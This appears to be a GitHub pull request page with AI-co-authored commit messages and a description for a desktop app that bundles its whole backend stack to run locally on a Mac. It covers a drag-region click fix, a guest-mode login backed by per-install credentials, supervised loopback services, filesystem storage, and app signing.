frontend, the stale region still covers every pixel: the whole login page behaves as a titlebar. Why e2e never caught it: the suites click through CDP (Input.dispatchMouseEvent), which injects events directly into the renderer — BELOW the native layer that implements drag regions. Automated clicks landed; physical ones never did. (A CDP-driven click on the same build focuses #email while a human's click does nothing — that asymmetry was the diagnostic.) HOW THE FIX WORKS Two layers: 1. main.js: on every committed http(s) navigation in the main window, insert `html, body { -webkit-app-region: no-drag; }`. An explicit no-drag rule makes the renderer compute and report a region set (an empty draggable area), which overwrites the stale native regions — the reset Chromium doesn't do for region-less documents. 2. local-boot.html: give <main> the same no-drag island its sibling pages have, so the boot page never contributes a 100%-drag region in the first place. Verified: packaged-app e2e still green. The native layer is exactly what CDP cannot emulate, so the final confirmation is a physical click on the rebuilt app (documented in the PR). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…cal product
WHY THIS MATTERS
The pitch of "Run everything on this Mac" is zero ceremony: no server, no
account anywhere. But the login page still demanded an email + password
signup — an odd ritual for a database that lives in ~/Library on your own
machine. Guest mode closes that gap: a "Continue as guest" button on the
login page, one click, you're in the product.
WHAT A "GUEST" IS HERE (AND WHY IT'S STILL A REAL ACCOUNT)
The whole point of the self-contained architecture is that the web app
and backend run byte-identical to a server deployment — auth included
(GoTrue sessions, RLS-shaped data model, per-user rows). So guest mode
does NOT bypass auth: the guest is a real GoTrue user the SHELL owns the
credentials for. The desktop app mints a random password per install
(stored beside the other per-install secrets in userData/local/
secrets.json — the same trust boundary as pgdata itself), and the login
page signs in with it. Nothing changes in the backend, the session
model, or the data layer; a guest can later be joined by real accounts
on the same install and nothing special-cases them.
HOW IT WORKS, LAYER BY LAYER
- secrets.js mints guestEmail ("guest@mike.local") + a random
guestPassword with the other first-run secrets; existing installs get
the fields topped up in place on next read (no version bump — old
readers ignore unknown fields).
- main.js adds the ONE bridge call the product may make,
"mike:guest-credentials", and gates it twice: local mode only, and the
sender frame's origin must be the local frontend. A hosted page — or
anything a hosted page manages to navigate this window to — gets null,
so credentials can never leak past the loopback deployment they open.
- The login page asks the bridge on mount and renders "Continue as
guest" only when it gets credentials back. In a plain browser
window.mikeDesktop doesn't exist; against Mike Cloud the call answers
null — the page stays byte-identical in behavior everywhere except
the local desktop product, where the button belongs.
- First click: signInWithPassword fails (no such user yet), so the page
falls back to signUp — GoTrue autoconfirms offline in local mode and
returns a session directly. Every later click is a plain sign-in.
TRADEOFF, STATED
If a user wipes secrets.json but keeps pgdata, a fresh password is
minted while GoTrue still holds the old one — the guest button then
surfaces the auth error instead of silently recovering. Deliberate:
secrets.json and pgdata sit in the same directory and die together in
the supported reset path (delete userData/local), and silent recovery
would mean the shell deleting a user's account data on its own.
VERIFIED
e2e/local.e2e.mjs now ends with two guest rounds — storage cleared
between each — proving both the signUp fallback (first ever click) and
the sign-in path (every click after). Green in dev mode and against the
packaged Mike.app.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
5500e84 to
9194e80
Compare
Self-contained Mike.app — the whole stack runs inside the desktop app
Stacked on #302 (desktop shell; hosted default). This PR adds the third and
final mode from
desktop/docs/self-contained-plan.md: Run locally on thisMac. The app supervises the entire Mike stack — Postgres 17, GoTrue,
PostgREST, gateway, backend, frontend — as loopback-only child processes. No
Docker, no server, no account anywhere; documents and data never leave the
machine.
The shell-over-rewrite principle survives intact: the web app and backend run
byte-identical to the docker-compose stack.
desktop/src/local/supervisor.jsis docker-compose.yml reimplemented as a process tree; where a step looks odd,
the compose file is the reference.
What's in here
Backend (works for any single-node deploy, not just the desktop):
STORAGE_DRIVER=fs— a filesystem driver insidelib/storage.tsbehind thesame public API as S3/R2. Documents become plain files under
STORAGE_FS_ROOT; S3 semantics (string-prefix listing, delete-missing-ok)are preserved and unit-tested.
getSignedUrlreturns an expiring HMAC capability URL on a new unauthenticated route
GET /download/signed/:tokenwith exactly presigned-URL trust semantics:minted by an authenticated route after its own access check, scoped to one
object, expiring. Domain-separated from the permanent
/download/:tokenHMAC so the two token kinds can't be replayed as each other (tested).
Frontend:
output: "standalone"behindNEXT_OUTPUT_STANDALONE=1—opt-in, Docker image and dev workflow untouched.
Desktop:
src/local/supervisor.js— ordered boot with health-check chain (postgres →gotrue → schema → postgrest → gateway → backend → frontend), per-service log
files under
userData/local/logs/, clean shutdown on quit (postgres fastshutdown), stale-pidfile recovery, fail-fast if any child dies during boot.
initdbintouserData/local/pgdata, the Supabaserole ladder (incl.
service_rolewith BYPASSRLS — schema.sql enablesRLS with no policies, so the backend's role must bypass, exactly as the
supabase/postgres image sets it), GoTrue's own auth migrations, then
schema.sql + a migration ledger (
mike_schema_migrations): freshinstalls baseline all shipped migrations; upgrades apply only unseen ones.
password, download + API-key-encryption secrets) — no secret ships in the
build. The frontend bundle carries only the well-known Supabase demo anon
key as a placeholder; the local gateway proxy (
src/local/gateway.js, aNode port of
supabase/gateway.conf) swaps it for the per-install anon JWTin flight. Anon-for-anon only — nothing through the gateway can escalate to
service_role.
the one question every new user has: Use Mike Cloud / Run everything on
this Mac / connect to your own server. Local-first is now a zero-knowledge
decision, not a keyboard shortcut. Either choice persists and retires the
chooser; any explicit signal (
--server-url=,--local, a saved choice)skips it, so automation and returning users never see it; builds without
the stack go straight to the hosted default.
actually carries the stack); a boot progress page streams supervisor status;
--server-url=still beats local mode so e2e can always retarget.local:fetch(pinned binaries: zonky Postgres 17.10 via npm,PostgREST v14.12 official macOS build, GoTrue v2.189.0 built from
source — the upstream release asset named darwin-arm64 actually contains
Linux ELF binaries),
local:build(backend tsc + Next standalone with localURLs baked),
local:stage+dist:local(package Mike.app with the wholestack in resources).
e2e/local.e2e.mjs— wipes userData and drives the true first-run everytime: cold initdb → six services → signup → project → library upload →
row-menu download, asserting bytes land under
userData/local/storageandthe download URL is a blob-token signed URL.
Verification (all green)
MIKE_E2E_DEV=1 npm run e2e:local) — PASSED, on awiped userData (true first-run) every time:
storageFs.test.ts: fsround-trip, S3 string-prefix listing semantics, traversal guard,
blob-token expiry + HMAC domain separation).
this exact shell build:
flows.e2e.mjs12/12 PASSED (S3 presigned-URLpath untouched),
app.e2e.mjsPASSED.local:stage+dist:localproduce aMike.app carrying the whole stack (548MB in
Contents/Resources/local-stack,pg dylib symlinks preserved), and the same first-run e2e run against the
packaged app (no
MIKE_E2E_DEV) passes end to end. Both remote suitesalso re-passed against this packaged build.
each time: chooser renders → "Run everything on this Mac" boots the stack
and lands in the local product; "Use Mike Cloud" loads the hosted app and a
relaunch goes straight there (chooser retired).
login → full signup → authenticated app load, every request targeted
loopback (
localhost:42813/42814/42815) — zero external hosts. The onlyoutbound calls in local mode are the LLM provider you configure (or
localhost:11434with Ollama) and CourtListener if used.Replicate the base case (before this PR)
Replicate this PR
Tradeoffs / design decisions (explicit)
reimplementing their APIs: 436 PostgREST call sites and the full GoTrue MFA
surface make shims the expensive, drift-prone path. Cost: ~80MB of
binaries and a from-source GoTrue build step (upstream's macOS release
assets are mislabeled Linux binaries).
pgnode client instead of psql for bootstrap/migrations — the zonkyPostgres build ships no psql. Multi-statement files run over the simple
protocol in one implicit transaction; verified nothing in
schema.sql/migrations is non-transactional. All-or-nothing per migration
file is a feature for a ledgered runner.
time. A port conflict fails loudly with a clear message instead of
auto-shifting (which would strand the baked URLs).
per-install secrets never exist in the bundle, and the well-known demo JWT
secret is never trusted by the local services.
unavailable in local mode and the connect screen says so. (An SMTP-sink
surfacing mails in-app is a possible follow-up.)
SOFFICE_BINARY_PATHwhen/Applications/LibreOffice.appexists;otherwise the product's existing docx-preview fallback applies. Bundling
would add ~700MB.
presigned URLs, which carry no session either; the token is the expiring,
object-scoped capability. The permanent
/download/:tokenroute (auth +DB access check) is untouched, and the two HMAC domains are separated.
keyless demo mode remains a follow-up ([Extensibility 2/4] feat: keyless demo mode — a real first-run answer instead of a 401 (stacked on #259) #260/[Extensibility 1/4] refactor: table-driven LLM provider registry #259 lineage).
Signing (wired + documented; needs the org certificate to run)
Notarization requires every nested Mach-O to carry its own hardened-runtime
signature — scanning
local-stack/found 115 (postgres + dylibs, gotrue,postgrest, plus natives nobody would hand-list: skia in the backend's
@napi-rs/canvas, sharp/libvips in the frontend standalone). So the signedconfig is generated at build time (
scripts/make-signed-local-config.mjsscans for Mach-O magic bytes and emits
electron-builder.release.local.jsonwith
mac.binariesfilled), andnpm run dist:local:signedbuilds anotarized DMG under the same
APPLE_*env contract as the shell'sdist:signed. The operator runbook — including nested-binary verificationand the two constraints that bite (a signed bundle is sealed, so pg symlinks
must be intact at packaging time; no speculative entitlement exceptions) —
is in
desktop/README.md→ "Signing the self-contained build". Like #302'ssigned path, it can only be run with the org's certificate, so it is wired
and documented but not claimed as verified here.
Not in this PR (follow-ups)
🤖 Generated with Claude Code